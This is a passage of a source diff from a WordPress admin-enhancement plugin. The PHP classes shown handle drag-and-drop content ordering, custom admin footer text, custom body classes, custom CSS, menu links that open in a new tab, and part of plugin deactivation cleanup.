// 'learndash-lms', // Parent (menu) slug. Ref: https://developer.wordpress.org/reference/functions/add_submenu_page/#comment-1404
|
||||
$post_type_name_plural . ' ' . __( 'Order', 'admin-site-enhancements' ),
|
||||
// Page title
|
||||
$post_type_name_plural . ' ' . __( 'Order', 'admin-site-enhancements' ),
|
||||
// Menu title
|
||||
'edit_others_posts',
|
||||
// Capability required
|
||||
'custom-order-' . $post_type_slug,
|
||||
// Menu and page slug
|
||||
[$this, 'custom_order_page_output'],
|
||||
// Callback function that outputs page content
|
||||
9999
|
||||
);
|
||||
} else {
|
||||
$hook_suffix = add_submenu_page(
|
||||
'edit.php?post_type=' . $post_type_slug,
|
||||
// Parent (menu) slug. Ref: https://developer.wordpress.org/reference/functions/add_submenu_page/#comment-1404
|
||||
$post_type_name_plural . ' Order',
|
||||
// Page title
|
||||
__( 'Order', 'admin-site-enhancements' ),
|
||||
// Menu title
|
||||
'edit_others_posts',
|
||||
// Capability required
|
||||
'custom-order-' . $post_type_slug,
|
||||
// Menu and page slug
|
||||
[$this, 'custom_order_page_output'],
|
||||
// Callback function that outputs page content
|
||||
9999
|
||||
);
|
||||
}
|
||||
}
|
||||
add_action( 'admin_print_styles-' . $hook_suffix, [$this, 'enqueue_content_order_styles'] );
|
||||
add_action( 'admin_print_scripts-' . $hook_suffix, [$this, 'enqueue_content_order_scripts'] );
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Add additinal HTML elements on list tables
|
||||
*
|
||||
* @since 7.6.10
|
||||
*/
|
||||
public function add_additional_elements() {
|
||||
global $pagenow, $typenow;
|
||||
$common_methods = new Common_Methods();
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
$content_order_for = ( isset( $options['content_order_for'] ) ? $options['content_order_for'] : array() );
|
||||
$content_order_enabled_post_types = $common_methods->get_array_of_keys_with_true_value( $content_order_for );
|
||||
$content_order_other_enabled_post_types = array();
|
||||
// List tables of pages, posts and CPTs. Administrators and Editors only.
|
||||
if ( 'edit.php' == $pagenow && current_user_can( 'edit_others_posts' ) && (in_array( $typenow, $content_order_enabled_post_types ) || in_array( $typenow, $content_order_other_enabled_post_types )) ) {
|
||||
// Add "Order" button
|
||||
if ( 'post' == $typenow ) {
|
||||
$typenow = 'posts';
|
||||
}
|
||||
?>
|
||||
<div id="content-order-button">
|
||||
<a class="button" href="<?php
|
||||
echo esc_url( get_admin_url() );
|
||||
?>edit.php?post_type=<?php
|
||||
echo esc_attr( $typenow );
|
||||
?>&page=custom-order-<?php
|
||||
echo esc_attr( $typenow );
|
||||
?>"><?php
|
||||
_e( 'Order', 'admin-site-enhancements' );
|
||||
?></a>
|
||||
</div>
|
||||
<?php
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Add scripts for content list tables
|
||||
*
|
||||
* @since 7.6.10
|
||||
*/
|
||||
public function add_list_tables_scripts( $hook_suffix ) {
|
||||
global $pagenow, $typenow;
|
||||
$common_methods = new Common_Methods();
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
$content_order_for = ( isset( $options['content_order_for'] ) ? $options['content_order_for'] : array() );
|
||||
$content_order_enabled_post_types = $common_methods->get_array_of_keys_with_true_value( $content_order_for );
|
||||
$content_order_other_enabled_post_types = array();
|
||||
// List tables of pages, posts and CPTs
|
||||
if ( 'edit.php' == $hook_suffix && current_user_can( 'edit_others_posts' ) && (in_array( $typenow, $content_order_enabled_post_types ) || in_array( $typenow, $content_order_other_enabled_post_types )) ) {
|
||||
wp_enqueue_style(
|
||||
'asenha-list-tables-content-order',
|
||||
ASENHA_URL . 'assets/css/list-tables-content-order.css',
|
||||
array(),
|
||||
ASENHA_VERSION
|
||||
);
|
||||
wp_enqueue_script(
|
||||
'asenha-list-tables-content-order',
|
||||
ASENHA_URL . 'assets/js/list-tables-content-order.js',
|
||||
array('jquery'),
|
||||
ASENHA_VERSION,
|
||||
false
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Maybe perform redirects from the 'Order' submenu link
|
||||
*
|
||||
* @since 7.6.9
|
||||
*/
|
||||
public function maybe_perform_menu_link_redirects() {
|
||||
$request_uri = sanitize_text_field( $_SERVER['REQUEST_URI'] );
|
||||
// e.g. /wp-admin/index.php?page=page-slug
|
||||
// Redirect for LearnDash LMS Courses post type ('sfwd-courses')
|
||||
if ( in_array( 'sfwd-lms/sfwd_lms.php', get_option( 'active_plugins', array() ) ) ) {
|
||||
if ( false !== strpos( $request_uri, 'admin.php?page=custom-order-sfwd-courses' ) ) {
|
||||
wp_safe_redirect( get_admin_url() . 'edit.php?post_type=sfwd-courses&page=custom-order-sfwd-courses' );
|
||||
exit;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Output content for the custom order page for each enabled post types
|
||||
* Not using settings API because all done via AJAX
|
||||
*
|
||||
* @since 5.0.0
|
||||
*/
|
||||
public function custom_order_page_output() {
|
||||
$post_status = array(
|
||||
'publish',
|
||||
'future',
|
||||
'draft',
|
||||
'pending',
|
||||
'private'
|
||||
);
|
||||
$parent_slug = get_admin_page_parent();
|
||||
if ( 'edit.php' == $parent_slug ) {
|
||||
$post_type_slug = 'post';
|
||||
} elseif ( 'upload.php' == $parent_slug ) {
|
||||
$post_type_slug = 'attachment';
|
||||
$post_status = array('inherit', 'private');
|
||||
} else {
|
||||
$post_type_slug = str_replace( 'edit.php?post_type=', '', $parent_slug );
|
||||
}
|
||||
// Pro-only: featured image thumbnails are rendered only when explicitly enabled via query arg.
|
||||
$this->show_featured_thumbnails = false;
|
||||
// Object with properties for each post status and the count of posts for each status
|
||||
// $post_count_object = wp_count_posts( $post_type_slug );
|
||||
// Number of items with the status 'publish(ed)', 'future' (scheduled), 'draft', 'pending' and 'private'
|
||||
// $post_count = absint( $post_count_object->publish )
|
||||
// + absint( $post_count_object->future )
|
||||
// + absint( $post_count_object->draft )
|
||||
// + absint( $post_count_object->pending )
|
||||
// + absint( $post_count_object->private );
|
||||
?>
|
||||
<div class="wrap">
|
||||
<div class="page-header">
|
||||
<h2>
|
||||
<?php
|
||||
echo esc_html( get_admin_page_title() );
|
||||
?>
|
||||
</h2>
|
||||
<?php
|
||||
?>
|
||||
</div>
|
||||
<?php
|
||||
// Get posts
|
||||
$args = array(
|
||||
'post_type' => $post_type_slug,
|
||||
'numberposts' => -1,
|
||||
'orderby' => 'menu_order title',
|
||||
'order' => 'ASC',
|
||||
'post_status' => $post_status,
|
||||
);
|
||||
// Add the following to non-attachment post types
|
||||
if ( 'attachment' != $post_type_slug && is_post_type_hierarchical( $post_type_slug ) ) {
|
||||
// In hierarchical post types, only return non-child posts as we currently only sort parent posts
|
||||
$args['post_parent'] = 0;
|
||||
}
|
||||
$posts = get_posts( $args );
|
||||
if ( !empty( $posts ) ) {
|
||||
?>
|
||||
<ul id="item-list" class="asenha-content-order">
|
||||
<?php
|
||||
foreach ( $posts as $post ) {
|
||||
$this->custom_order_single_item_output( $post );
|
||||
}
|
||||
?>
|
||||
</ul>
|
||||
<div id="updating-order-notice" class="updating-order-notice" style="display: none;"><img src="<?php
|
||||
echo esc_attr( ASENHA_URL ) . 'assets/img/oval.svg';
|
||||
?>" id="spinner-img" class="spinner-img" /><span class="dashicons dashicons-saved" style="display:none;"></span>Updating order...</div>
|
||||
<?php
|
||||
} else {
|
||||
?>
|
||||
<h3>There is nothing to sort for this post type.</h3>
|
||||
<?php
|
||||
}
|
||||
?>
|
||||
</div> <!-- End of div.wrap -->
|
||||
<?php
|
||||
}
|
||||
|
||||
/**
|
||||
* Output single item sortable for custom content order
|
||||
*
|
||||
* @since 5.0.0
|
||||
*/
|
||||
private function custom_order_single_item_output( $post ) {
|
||||
if ( is_post_type_hierarchical( $post->post_type ) ) {
|
||||
$post_type_object = get_post_type_object( $post->post_type );
|
||||
$children = get_pages( array(
|
||||
'child_of' => $post->ID,
|
||||
'post_type' => $post->post_type,
|
||||
) );
|
||||
if ( count( $children ) > 0 ) {
|
||||
$has_child_label = '<span class="has-child-label"> <span class="dashicons dashicons-arrow-right"></span> Has child ' . strtolower( $post_type_object->label ) . '</span>';
|
||||
$has_child = 'true';
|
||||
} else {
|
||||
$has_child_label = '';
|
||||
$has_child = 'false';
|
||||
}
|
||||
} else {
|
||||
$has_child_label = '';
|
||||
$has_child = 'false';
|
||||
}
|
||||
$post_status_label_class = ( $post->post_status == 'publish' ? ' item-status-hidden' : '' );
|
||||
$post_status_object = get_post_status_object( $post->post_status );
|
||||
if ( 'attachment' == $post->post_type ) {
|
||||
$post_status_label_separator = '';
|
||||
$post_status_label = '';
|
||||
// Attachments / media only has the post status 'inherit'. Let's not show it.
|
||||
} else {
|
||||
$post_status_label_separator = ' — ';
|
||||
$post_status_label = $post_status_object->label;
|
||||
}
|
||||
$short_excerpt = '';
|
||||
$taxonomies_and_terms = '';
|
||||
// If WPML plugin is active, let's get the current language
|
||||
if ( in_array( 'sitepress-multilingual-cms/sitepress.php', get_option( 'active_plugins', array() ) ) ) {
|
||||
$current_language = apply_filters( 'wpml_current_language', null );
|
||||
$current_post_language_info = apply_filters( 'wpml_post_language_details', null, $post->ID );
|
||||
if ( !is_wp_error( $current_post_language_info ) ) {
|
||||
$current_post_language = $current_post_language_info['language_code'];
|
||||
} else {
|
||||
// wpml has not set language information for the post
|
||||
// e.g. post is not translated yet, so, let's use the current site/admin language
|
||||
$current_post_language = $current_language;
|
||||
}
|
||||
$same_language = $current_language === $current_post_language;
|
||||
// true if language is the same, false otherwise
|
||||
} else {
|
||||
// WPML is not active, $same_language is always true, e.g. all posts are in English
|
||||
$same_language = true;
|
||||
}
|
||||
// Only render sortable for posts that have the same language as the current chosen language
|
||||
if ( $same_language ) {
|
||||
?>
|
||||
<li id="list_<?php
|
||||
echo esc_attr( $post->ID );
|
||||
?>" class="list-item" data-id="<?php
|
||||
echo esc_attr( $post->ID );
|
||||
?>" data-menu-order="<?php
|
||||
echo esc_attr( $post->menu_order );
|
||||
?>" data-parent="<?php
|
||||
echo esc_attr( $post->post_parent );
|
||||
?>" data-has-child="<?php
|
||||
echo esc_attr( $has_child );
|
||||
?>" data-post-type="<?php
|
||||
echo esc_attr( $post->post_type );
|
||||
?>">
|
||||
<div class="row">
|
||||
<div class="row-content">
|
||||
<?php
|
||||
echo '<div class="content-main">
|
||||
<span class="dashicons dashicons-menu"></span><a href="' . esc_attr( get_edit_post_link( $post->ID ) ) . '" class="item-title">' . esc_html( $post->post_title ) . '</a><span class="item-status' . esc_attr( $post_status_label_class ) . '">' . esc_html( $post_status_label_separator ) . esc_html( $post_status_label ) . '</span>' . wp_kses_post( $has_child_label ) . '<div class="fader"></div>
|
||||
</div>';
|
||||
if ( !in_array( $post->post_type, array('asenha_code_snippet') ) ) {
|
||||
echo '<div class="content-additional">
|
||||
<a href="' . esc_attr( get_the_permalink( $post->ID ) ) . '" target="_blank" class="button item-view-link">View</a>
|
||||
</div>';
|
||||
}
|
||||
?>
|
||||
</div>
|
||||
</div>
|
||||
<?php
|
||||
}
|
||||
// if ( $same_language )
|
||||
?>
|
||||
</li>
|
||||
<?php
|
||||
}
|
||||
|
||||
/**
|
||||
* Enqueue styles for content order pages
|
||||
*
|
||||
* @since 5.0.0
|
||||
*/
|
||||
public function enqueue_content_order_styles() {
|
||||
wp_enqueue_style(
|
||||
'content-order-style',
|
||||
ASENHA_URL . 'assets/css/content-order.css',
|
||||
array(),
|
||||
ASENHA_VERSION
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Enqueue scripts for content order pages
|
||||
*
|
||||
* @since 5.0.0
|
||||
*/
|
||||
public function enqueue_content_order_scripts() {
|
||||
global $typenow;
|
||||
wp_enqueue_script(
|
||||
'content-order-jquery-ui-touch-punch',
|
||||
ASENHA_URL . 'assets/js/jquery.ui.touch-punch.min.js',
|
||||
array('jquery-ui-sortable'),
|
||||
'0.2.3',
|
||||
true
|
||||
);
|
||||
wp_register_script(
|
||||
'content-order-nested-sortable',
|
||||
ASENHA_URL . 'assets/js/jquery.mjs.nestedSortable.js',
|
||||
array('content-order-jquery-ui-touch-punch'),
|
||||
'2.0.0',
|
||||
true
|
||||
);
|
||||
wp_enqueue_script(
|
||||
'content-order-sort',
|
||||
ASENHA_URL . 'assets/js/content-order-sort.js',
|
||||
array('content-order-nested-sortable'),
|
||||
ASENHA_VERSION,
|
||||
true
|
||||
);
|
||||
wp_localize_script( 'content-order-sort', 'contentOrderSort', array(
|
||||
'action' => 'save_custom_order',
|
||||
'nonce' => wp_create_nonce( 'order_sorting_nonce' ),
|
||||
'hierarchical' => ( is_post_type_hierarchical( $typenow ) ? 'true' : 'false' ),
|
||||
'hirarchical' => ( is_post_type_hierarchical( $typenow ) ? 'true' : 'false' ),
|
||||
) );
|
||||
}
|
||||
|
||||
/**
|
||||
* Save custom content order coming from ajax call
|
||||
*
|
||||
* @since 5.0.0
|
||||
*/
|
||||
public function save_custom_content_order() {
|
||||
global $wpdb;
|
||||
// Check user capabilities
|
||||
if ( !current_user_can( 'edit_others_posts' ) ) {
|
||||
wp_send_json( 'Something went wrong.' );
|
||||
}
|
||||
// Verify nonce
|
||||
if ( !wp_verify_nonce( $_POST['nonce'], 'order_sorting_nonce' ) ) {
|
||||
wp_send_json( 'Something went wrong.' );
|
||||
}
|
||||
// Get ajax variables
|
||||
$action = ( isset( $_POST['action'] ) ? $_POST['action'] : '' );
|
||||
// Item parent is currently 0, as we only handle sorting of non-child posts
|
||||
$item_parent = ( isset( $_POST['item_parent'] ) ? absint( $_POST['item_parent'] ) : 0 );
|
||||
$menu_order_start = ( isset( $_POST['start'] ) ? absint( $_POST['start'] ) : 0 );
|
||||
$post_id = ( isset( $_POST['post_id'] ) ? absint( $_POST['post_id'] ) : 0 );
|
||||
$item_menu_order = ( isset( $_POST['menu_order'] ) ? absint( $_POST['menu_order'] ) : 0 );
|
||||
$items_to_exclude = ( isset( $_POST['excluded_items'] ) && is_array( $_POST['excluded_items'] ) ? array_map( 'absint', $_POST['excluded_items'] ) : array() );
|
||||
$post_type = ( isset( $_POST['post_type'] ) ? sanitize_key( wp_unslash( $_POST['post_type'] ) ) : false );
|
||||
$is_hierarchical_post_type = ( $post_type ? is_post_type_hierarchical( $post_type ) : false );
|
||||
$allow_parent_updates = 'attachment' === $post_type || $is_hierarchical_post_type;
|
||||
if ( !$allow_parent_updates ) {
|
||||
$item_parent = 0;
|
||||
}
|
||||
// Make processing faster by removing certain actions
|
||||
remove_action( 'pre_post_update', 'wp_save_post_revision' );
|
||||
// $response array for ajax response
|
||||
$response = array();
|
||||
// Update the item whose order/position was moved
|
||||
if ( $post_id > 0 && !isset( $_POST['more_posts'] ) ) {
|
||||
$wpdb->update(
|
||||
$wpdb->posts,
|
||||
// The table
|
||||
array(
|
||||
'menu_order' => $item_menu_order,
|
||||
),
|
||||
array(
|
||||
'ID' => $post_id,
|
||||
)
|
||||
);
|
||||
clean_post_cache( $post_id );
|
||||
$items_to_exclude[] = $post_id;
|
||||
}
|
||||
if ( 'attachment' == $post_type ) {
|
||||
$post_status = array('inherit', 'private');
|
||||
} else {
|
||||
$post_status = array(
|
||||
'publish',
|
||||
'future',
|
||||
'draft',
|
||||
'pending',
|
||||
'private'
|
||||
);
|
||||
}
|
||||
// Get all posts from the post type related to ajax request
|
||||
$query_args = array(
|
||||
'post_type' => $post_type,
|
||||
'orderby' => 'menu_order title',
|
||||
'order' => 'ASC',
|
||||
'posts_per_page' => -1,
|
||||
'suppress_filters' => true,
|
||||
'ignore_sticky_posts' => true,
|
||||
'post_status' => $post_status,
|
||||
'post__not_in' => $items_to_exclude,
|
||||
'update_post_term_cache' => false,
|
||||
'update_post_meta_cache' => false,
|
||||
);
|
||||
if ( 'attachment' === $post_type ) {
|
||||
// do nothing, we do not add post_parent parameter as media items can be attached to other posts, making them the parent.
|
||||
} else {
|
||||
// For hierarchical post types only, update one branch at a time.
|
||||
// Non-hierarchical post types are reindexed as a full set to avoid duplicate menu_order values.
|
||||
if ( $is_hierarchical_post_type ) {
|
||||
$query_args['post_parent'] = $item_parent;
|
||||
}
|
||||
}
|
||||
$posts = new WP_Query($query_args);
|
||||
if ( $posts->have_posts() ) {
|
||||
// Iterate through posts and update menu order and post parent
|
||||
foreach ( $posts->posts as $post ) {
|
||||
// If the $post is the one being displaced (shited downward) by the moved item, increment it's menu_order by one
|
||||
if ( $menu_order_start == $item_menu_order && $post_id > 0 ) {
|
||||
$menu_order_start++;
|
||||
}
|
||||
// Only process posts other than the moved item, which has been processed earlier outside this loop
|
||||
if ( $post_id != $post->ID ) {
|
||||
// Update menu_order
|
||||
$wpdb->update( $wpdb->posts, array(
|
||||
'menu_order' => $menu_order_start,
|
||||
), array(
|
||||
'ID' => $post->ID,
|
||||
) );
|
||||
clean_post_cache( $post->ID );
|
||||
}
|
||||
$items_to_exclude[] = $post->ID;
|
||||
$menu_order_start++;
|
||||
}
|
||||
die( json_encode( $response ) );
|
||||
} else {
|
||||
die( json_encode( $response ) );
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Set default ordering of list tables of sortable post types by 'menu_order'
|
||||
*
|
||||
* @link https://developer.wordpress.org/reference/classes/wp_query/#methods
|
||||
* @since 5.0.0
|
||||
*/
|
||||
public function orderby_menu_order( $query ) {
|
||||
global $pagenow, $typenow;
|
||||
$query_post_type = $query->get( 'post_type' );
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
// Hierarchical post types that should be custom ordered
|
||||
$content_order_for = ( isset( $options['content_order_for'] ) ? $options['content_order_for'] : array() );
|
||||
$content_order_enabled_post_types = array();
|
||||
if ( is_array( $content_order_for ) && count( $content_order_for ) > 0 ) {
|
||||
foreach ( $content_order_for as $post_type_slug => $is_custom_order_enabled ) {
|
||||
if ( $is_custom_order_enabled ) {
|
||||
$content_order_enabled_post_types[] = $post_type_slug;
|
||||
}
|
||||
}
|
||||
}
|
||||
$should_be_custom_sorted = false;
|
||||
// All post types that should be custom ordered
|
||||
$content_order_post_types = $content_order_enabled_post_types;
|
||||
// Use custom order in wp-admin listing pages/tables for enabled post types
|
||||
if ( is_admin() && ('edit.php' == $pagenow || 'upload.php' == $pagenow) && !isset( $_GET['orderby'] ) ) {
|
||||
if ( in_array( $typenow, $content_order_post_types ) ) {
|
||||
$query->set( 'orderby', 'menu_order title' );
|
||||
$query->set( 'order', 'ASC' );
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Make sure newly created posts are assigned the highest menu_order so it's added at the bottom of the existing order
|
||||
*
|
||||
* @since 6.2.1
|
||||
*/
|
||||
public function set_menu_order_for_new_posts( $post_id, $post, $update ) {
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
$content_order_for = ( isset( $options['content_order_for'] ) ? $options['content_order_for'] : array() );
|
||||
$content_order_enabled_post_types = array();
|
||||
if ( is_array( $content_order_for ) && count( $content_order_for ) > 0 ) {
|
||||
foreach ( $content_order_for as $post_type_slug => $is_custom_order_enabled ) {
|
||||
if ( $is_custom_order_enabled ) {
|
||||
$content_order_enabled_post_types[] = $post_type_slug;
|
||||
}
|
||||
}
|
||||
}
|
||||
// Only assign menu_order if there are none assigned when creating the post, i.e. menu_order is 0
|
||||
if ( in_array( $post->post_type, $content_order_enabled_post_types ) && ('auto-draft' == $post->post_status || 'publish' == $post->post_status) && $post->menu_order == '0' && false === $update ) {
|
||||
$post_with_highest_menu_order = get_posts( array(
|
||||
'post_type' => $post->post_type,
|
||||
'posts_per_page' => 1,
|
||||
'orderby' => 'menu_order',
|
||||
'order' => 'DESC',
|
||||
) );
|
||||
if ( $post_with_highest_menu_order ) {
|
||||
$new_menu_order = (int) $post_with_highest_menu_order[0]->menu_order + 1;
|
||||
// Assign the one higher menu_order to the new post
|
||||
$args = array(
|
||||
'ID' => $post_id,
|
||||
'menu_order' => $new_menu_order,
|
||||
);
|
||||
wp_update_post( $args );
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,34 @@
|
||||
<?php
|
||||
|
||||
namespace ASENHA\Classes;
|
||||
|
||||
/**
|
||||
* Class for Custom Admin Footer Text module
|
||||
*
|
||||
* @since 6.9.5
|
||||
*/
|
||||
class Custom_Admin_Footer_Text {
|
||||
|
||||
/**
|
||||
* Modify footer text
|
||||
*
|
||||
* @since 6.9.0
|
||||
*/
|
||||
public function custom_admin_footer_text_left() {
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
$custom_admin_footer_left = isset( $options['custom_admin_footer_left'] ) ? $options['custom_admin_footer_left'] : '';
|
||||
echo wp_kses_post( $custom_admin_footer_left );
|
||||
}
|
||||
|
||||
/**
|
||||
* Change WP version number text in footer
|
||||
*
|
||||
* @since 6.9.0
|
||||
*/
|
||||
public function custom_admin_footer_text_right() {
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
$custom_admin_footer_right = isset( $options['custom_admin_footer_right'] ) ? $options['custom_admin_footer_right'] : '';
|
||||
echo wp_kses_post( $custom_admin_footer_right );
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,116 @@
|
||||
<?php
|
||||
|
||||
namespace ASENHA\Classes;
|
||||
|
||||
/**
|
||||
* Class for Custom Body Class module
|
||||
*
|
||||
* @since 6.9.5
|
||||
*/
|
||||
class Custom_Body_Class {
|
||||
|
||||
/**
|
||||
* Add Custom Body Class meta box for enabled post types
|
||||
*
|
||||
* @since 3.9.0
|
||||
*/
|
||||
public function add_custom_body_class_meta_box( $post_type, $post ) {
|
||||
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
$enable_custom_body_class_for = $options['enable_custom_body_class_for'];
|
||||
|
||||
foreach ( $enable_custom_body_class_for as $post_type_slug => $is_custom_body_class_enabled ) {
|
||||
if ( ( get_post_type() == $post_type_slug ) && $is_custom_body_class_enabled ) {
|
||||
|
||||
// Skip adding meta box for post types where Gutenberg is enabled
|
||||
// if (
|
||||
// function_exists( 'use_block_editor_for_post_type' )
|
||||
// && use_block_editor_for_post_type( $post_type_slug )
|
||||
// ) {
|
||||
// continue; // go to the beginning of next iteration
|
||||
// }
|
||||
|
||||
add_meta_box(
|
||||
'asenha-custom-body-class', // ID of meta box
|
||||
'Custom <body> Class', // Title of meta box
|
||||
[ $this, 'output_custom_body_class_meta_box' ], // Callback function
|
||||
$post_type_slug, // The screen on which the meta box should be output to
|
||||
'normal', // context
|
||||
'high' // priority
|
||||
// array(), // $args to pass to callback function. Ref: https://developer.wordpress.org/reference/functions/add_meta_box/#comment-342
|
||||
);
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Render External Permalink meta box
|
||||
*
|
||||
* @since 3.9.0
|
||||
*/
|
||||
public function output_custom_body_class_meta_box( $post ) {
|
||||
?>
|
||||
<div class="custom-body-class-input">
|
||||
<input name="<?php echo esc_attr( 'custom_body_class' ); ?>" class="large-text" id="<?php echo esc_attr( 'custom_body_class' ); ?>" type="text" value="<?php echo esc_attr( get_post_meta( $post->ID, '_custom_body_class', true ) ); ?>" placeholder="e.g. light-theme new-year-promo" />
|
||||
<div class="custom-body-class-input-description">Use blank space to separate multiple classes, e.g. first-class second-class</div>
|
||||
<?php wp_nonce_field( 'custom_body_class_' . $post->ID, 'custom_body_class_nonce', false, true ); ?>
|
||||
</div>
|
||||
<?php
|
||||
}
|
||||
|
||||
/**
|
||||
* Save custom body class input
|
||||
*
|
||||
* @since 3.9.0
|
||||
*/
|
||||
public function save_custom_body_class( $post_id ) {
|
||||
|
||||
// Only proceed if nonce is verified
|
||||
if ( isset( $_POST['custom_body_class_nonce'] ) && wp_verify_nonce( $_POST['custom_body_class_nonce'], 'custom_body_class_' . $post_id ) ) {
|
||||
|
||||
// Get the value of external permalink from input field
|
||||
$custom_body_class = isset( $_POST['custom_body_class'] ) ? sanitize_text_field( trim( $_POST['custom_body_class'] ) ) : '';
|
||||
|
||||
// Update or delete external permalink post meta
|
||||
if ( ! empty( $custom_body_class ) ) {
|
||||
update_post_meta( $post_id, '_custom_body_class', $custom_body_class );
|
||||
} else {
|
||||
delete_post_meta( $post_id, '_custom_body_class' );
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Append custom body classes to the frontend <body> tag
|
||||
*
|
||||
* @since 4.4.0
|
||||
*/
|
||||
public function append_custom_body_class( $classes ) {
|
||||
|
||||
// Only add custom body classes to the singular view of enabled post types
|
||||
if ( is_singular() ) {
|
||||
|
||||
global $post;
|
||||
$custom_body_classes = get_post_meta( $post->ID, '_custom_body_class', true );
|
||||
|
||||
if ( ! empty( $custom_body_classes ) ) {
|
||||
|
||||
$custom_body_classes = explode( ' ', $custom_body_classes );
|
||||
|
||||
foreach( $custom_body_classes as $custom_body_class ) {
|
||||
$classes[] = sanitize_html_class( $custom_body_class );
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
return $classes;
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,50 @@
|
||||
<?php
|
||||
|
||||
namespace ASENHA\Classes;
|
||||
|
||||
/**
|
||||
* Class for Custom Admin and Frontend CSS modules
|
||||
*
|
||||
* @since 6.9.5
|
||||
*/
|
||||
class Custom_Css {
|
||||
|
||||
/**
|
||||
* Enqueue custom admin CSS
|
||||
* Consider using https://github.com/Cerdic/CSSTidy in the future
|
||||
*
|
||||
* @since 2.3.0
|
||||
*/
|
||||
public function custom_admin_css() {
|
||||
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
$custom_admin_css = $options['custom_admin_css'];
|
||||
|
||||
?>
|
||||
<style type="text/css">
|
||||
<?php echo wp_strip_all_tags( $custom_admin_css ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>
|
||||
</style>
|
||||
<?php
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Enqueue custom frontend CSS
|
||||
* Consider using https://github.com/Cerdic/CSSTidy in the future
|
||||
*
|
||||
* @since 2.3.0
|
||||
*/
|
||||
public function custom_frontend_css() {
|
||||
|
||||
$options = get_option( ASENHA_SLUG_U, array() );
|
||||
$custom_frontend_css = $options['custom_frontend_css'];
|
||||
|
||||
?>
|
||||
<style type="text/css">
|
||||
<?php echo wp_strip_all_tags( $custom_frontend_css ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ?>
|
||||
</style>
|
||||
<?php
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
+67
@@ -0,0 +1,67 @@
|
||||
<?php
|
||||
|
||||
namespace ASENHA\Classes;
|
||||
|
||||
/**
|
||||
* Class for Allow Custom Menu Links to Open in New Tab module
|
||||
*
|
||||
* @since 6.9.5
|
||||
*/
|
||||
class Custom_Nav_Menu_Items_In_New_Tab {
|
||||
|
||||
/**
|
||||
* Add "open in new tab" checkbox in custom nav menu item settings
|
||||
*
|
||||
* @since 5.4.0
|
||||
*/
|
||||
public function add_custom_nav_menu_open_in_new_tab_field( $item_id, $menu_item, $depth, $args ) {
|
||||
|
||||
$target_blank = get_post_meta( $item_id, '_menu_item_target_blank', true );
|
||||
|
||||
if ( 'custom' == $menu_item->object ) {
|
||||
?>
|
||||
<p class="field-target_blank description-wide">
|
||||
<label for="edit-menu-item-target-blank-<?php echo esc_attr( $item_id ); ?>">
|
||||
<input type="checkbox" id="edit-menu-item-target-blank-<?php echo esc_attr( $item_id ); ?>" name="menu-item-target-blank[<?php echo esc_attr( $item_id ); ?>]" value="1" <?php checked( $target_blank, '1' ); ?> />
|
||||
Open link in new tab and add rel="noopener noreferrer nofollow" attribute.
|
||||
</label>
|
||||
</p>
|
||||
<?php
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Save status of "open in new tab" checkbox in custom nav menu item settings
|
||||
*
|
||||
* @since 5.4.0
|
||||
*/
|
||||
public function save_custom_nav_menu_open_in_new_tab_status( $menu_id, $menu_item_db_id, $args ) {
|
||||
|
||||
if ( isset( $_POST['menu-item-target-blank'][$menu_item_db_id] ) ) {
|
||||
update_post_meta( $menu_item_db_id, '_menu_item_target_blank', '1' );
|
||||
} else {
|
||||
delete_post_meta( $menu_item_db_id, '_menu_item_target_blank' );
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
/**
|
||||
* Add attributes to custom nav menu item on the frontend
|
||||
*
|
||||
* @since 5.4.0
|
||||
*/
|
||||
public function add_attributes_to_custom_nav_menu_item( $atts, $menu_item, $args ) {
|
||||
|
||||
$target_blank = get_post_meta( $menu_item->ID, '_menu_item_target_blank', true );
|
||||
|
||||
if ( $target_blank ) {
|
||||
$atts['target'] = '_blank';
|
||||
$atts['rel'] = 'noopener noreferrer nofollow';
|
||||
}
|
||||
|
||||
return $atts;
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
<?php
|
||||
|
||||
namespace ASENHA\Classes;
|
||||
|
||||
/**
|
||||
* Plugin Deactivation
|
||||
*
|
||||
* @since 1.0.0
|
||||
*/
|
||||
class Deactivation {
|
||||
|
||||
/**
|
||||
* Clear the scheduled failed-login log cleanup cron event.
|
||||
*
|
||||
* @since 8.8.3
|
||||
*/
|
||||
public function clear_failed_login_attempts_log_cleanup_schedule() {
|
||||
wp_clear_scheduled_hook( 'asenha_failed_login_attempts_log_cleanup_by_amount' );
|
||||
}
|
||||
|
||||
/**
|
||||
* Delete failed login log table for Limit Login Attempts feature
|
||||
*
|
||||
* @since 2.5.0
|
||||
*/
|
||||
public function delete_failed_logins_log_table() {
|
||||
|
||||
global $wpdb;
|
||||
|
||||
// Limit Login Attempts Log Table
|
||||
|
||||
